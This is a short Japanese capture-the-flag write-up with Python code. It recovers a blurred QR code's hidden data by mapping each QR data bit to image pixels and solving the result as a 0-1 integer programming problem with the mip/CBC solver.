QRコードでは、(encoding が特殊でない場合は)データの各 bit が必ずどこかのマスに対応している。よって、各 bit を 0/1 の変数とおき、与えられる画像の各ピクセルの色をそれらの変数の和で表すことで 0-1 整数計画問題として立式できる。よって、これを解けば良い。
```python=
import cv2
import numpy as np
from typing import List, Tuple
from qrcode.main import QRCode
from qrcode.base import rs_blocks
from qrcode.constants import ERROR_CORRECT_L
def create_img(mask_pattern, data, version=40, error_correction=ERROR_CORRECT_L):
qr = QRCode(error_correction=error_correction, version=version, box_size=1, border=1)
qr.mask_pattern = mask_pattern
qr.data_cache = data
qr.make(fit=False)
img = qr.make_image()
return np.array(img._img, dtype=np.float64)[1:-1, 1:-1]
def create_plain_img(mask_pattern, version=40, error_correction=ERROR_CORRECT_L):
fill_zero = create_img(mask_pattern, [0x00] * (3706), version, error_correction)
fill_one = create_img(mask_pattern, [0xff] * (3706), version, error_correction)
eq = fill_zero == fill_one
return fill_zero, fill_one, eq
def get_byte_limit(version=40, error_correction=ERROR_CORRECT_L):
blocks = rs_blocks(version, error_correction)
return sum(block.data_count for block in blocks)
def get_ec_count(version=40, error_correction=ERROR_CORRECT_L):
blocks = rs_blocks(version, error_correction)
return sum(block.total_count - block.data_count for block in blocks)
def acquire_data_array(version=40, error_correction=ERROR_CORRECT_L):
blocks = rs_blocks(version, error_correction)
dc_offset = 0
maxDcCount = 0
maxEcCount = 0
dcdata: List[List[Tuple[str, int]]] = []
ecdata: List[List[Tuple[str, int]]] = []
ec_offset = 0
for rs_block in blocks:
dcCount = rs_block.data_count
ecCount = rs_block.total_count - dcCount
maxDcCount = max(maxDcCount, dcCount)
maxEcCount = max(maxEcCount, ecCount)
current_dc: List[Tuple[str, int]] = [("d", i + dc_offset) for i in range(dcCount)]
dc_offset += dcCount
dcdata.append(current_dc)
current_ec: List[Tuple[str, int]] = [("e", i + ec_offset) for i in range(ecCount)]
ec_offset += ecCount
ecdata.append(current_ec)
data: List[Tuple[str, int]] = []
for i in range(maxDcCount):
for dc in dcdata:
if i < len(dc):
data.append(dc[i])
for i in range(maxEcCount):
for ec in ecdata:
if i < len(ec):
data.append(ec[i])
return data
def get_data_map(mask_pattern, version=40, error_correction=ERROR_CORRECT_L):
zero, _, is_template = create_plain_img(mask_pattern, version, error_correction)
cv2.imwrite(f'pattern.png', zero * 255)
print(is_template)
modules_count = version * 4 + 17
print(zero.shape, modules_count)
inc = -1
row = modules_count - 1
bitIndex = 7
byteIndex = 0
data = acquire_data_array(version, error_correction)
modules: List[List[Tuple[str, int]]] = [[("n", -1)] * modules_count for r in range(modules_count)]
for i in range(modules_count):
for j in range(modules_count):
if is_template[i][j]:
modules[i][j] = ("c", 0 if zero[i][j] else 1)
for col in range(modules_count - 1, 0, -2):
if col <= 6:
col -= 1
col_range = (col, col - 1)
while True:
for c in col_range:
if not is_template[row][c]:
typ, byte_ind = data[byteIndex]
modules[row][c] = (typ, byte_ind * 8 + 7 - bitIndex)
bitIndex -= 1
if bitIndex == -1:
byteIndex += 1
bitIndex = 7
row += inc
if row < 0 or modules_count <= row:
row -= inc
inc = -inc
break
return modules
```
```python=
import time
import cv2
from mip import Model, CBC
from lib import get_byte_limit, get_data_map, get_ec_count, create_plain_img
m = Model("qrcode", solver_name=CBC)
def get_bit(name):
return m.add_var(name, var_type="B")
bit_limit = get_byte_limit() * 8
ec_bit_count = get_ec_count() * 8
flag = [*b"TSGCTF{"] + [None] * 1468 + [*b"}"]
bitdata_arr = []
bitdata_arr += [0, 1, 0, 0] # mode == 4
bitdata_arr += [int(c) for c in bin(2952)[2:].zfill(16)]
flag_bits = []
for i, elem in enumerate(flag):
if elem is not None:
flag_bits += [int(c) for c in bin(elem)[2:].zfill(8)]
else:
flag_bits += [0, 1] # flag content always start with 0b01...
for ind in range(2, 8):
flag_bits.append(get_bit(f"chr_{i}_{ind}"))
bitdata_arr += flag_bits * 2
# Terminate the bits (add up to four 0s).
for _ in range(min(bit_limit - len(bitdata_arr), 4)):
bitdata_arr.append(0)
# Delimit the string into 8-bit words, padding with 0s if necessary.
delimit = len(bitdata_arr) % 8
if delimit:
for _ in range(8 - delimit):
bitdata_arr.append(0)
# edata = [get_bit(f"ec_{i}") for i in range(ec_bit_count)]
PAD0 = 0xEC
PAD1 = 0x11
# Add special alternating padding bitstrings until buffer is full.
bytes_to_fill = (bit_limit - len(bitdata_arr)) // 8
for i in range(bytes_to_fill):
if i % 2 == 0:
bitdata_arr += [1, 1, 1, 0, 1, 1, 0, 0] # 0xec == 0b11101100
else:
bitdata_arr += [0, 0, 0, 1, 0, 0, 0, 1] # 0x11 == 0b00010001
BIT_PATTERN = 1
zero, _, is_template = create_plain_img(BIT_PATTERN)
data_map = get_data_map(BIT_PATTERN)
print(len(data_map))
PAD_LEN = 2
data_map = [[("c", 0)] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN + \
[[("c", 0)] * PAD_LEN + [*row] + [("c", 0)] * PAD_LEN for row in data_map] + \
[[("c", 0)] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN
tmpl_and_mask = [[0] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN + \
[[0] * PAD_LEN + [1 if item == 0 else 0 for item in row] + [0] * PAD_LEN for row in zero] + \
[[0] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN
is_template = [[True] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN + \
[[True] * PAD_LEN + [item == 1 for item in row] + [0] * PAD_LEN for row in is_template] + \
[[True] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN
# cheat = cv2.imread("flag_orig.png", cv2.IMREAD_GRAYSCALE)
im = cv2.imread("flag_chall.png", cv2.IMREAD_GRAYSCALE)[1:-1,1:-1]
def filp(var, mask):
return 1 - var if mask else var
h, w = im.shape
for i in range(h):
for j in range(w):
has_e = False
sumup = 0
# cheat_sum = 0
for di in range(3):
for dj in range(3):
coeff = [[1,2,1],
[2,4,2],
[1,2,1]][di][dj]
typ, val = data_map[2 * i + di][2 * j + dj]
zero_val = tmpl_and_mask[2 * i + di][2 * j + dj]
# cheat_sum += (1 if cheat[2 * i + di][2 * j + dj] == 0 else 0) * coeff
if typ == "e":
has_e = True
continue
if typ == "d":
sumup += filp(bitdata_arr[val], zero_val) * coeff
continue
if typ == "c":
if is_template[2 * i + di][2 * j + dj]:
assert val == zero_val
sumup += val * coeff
else:
# assert filp(val, zero_val) == (1 if cheat[2 * i + di][2 * j + dj] == 0 else 0), (2 * i + di, 2 * j + dj)
sumup += filp(val, zero_val) * coeff
continue
assert False, (typ, val, coeff)
if has_e: continue
# assert cheat_sum == round((255 - im[i][j]) / 16)
constr = round((255 - im[i][j]) / 16) == sumup
if type(constr) == bool:
assert constr
continue
m += (constr)
print("checking...")
t = time.time()
m.optimize()
print(time.time() - t)
bin_flag = "".join([str(int(item.x) if type(item) != int else item) for item in bitdata_arr][20:][:len(flag)*2*8])
print(bin_flag)
print(int(bin_flag, 2).to_bytes(len(flag)*2, "big"))
print(len(im))
print(len(data_map))
```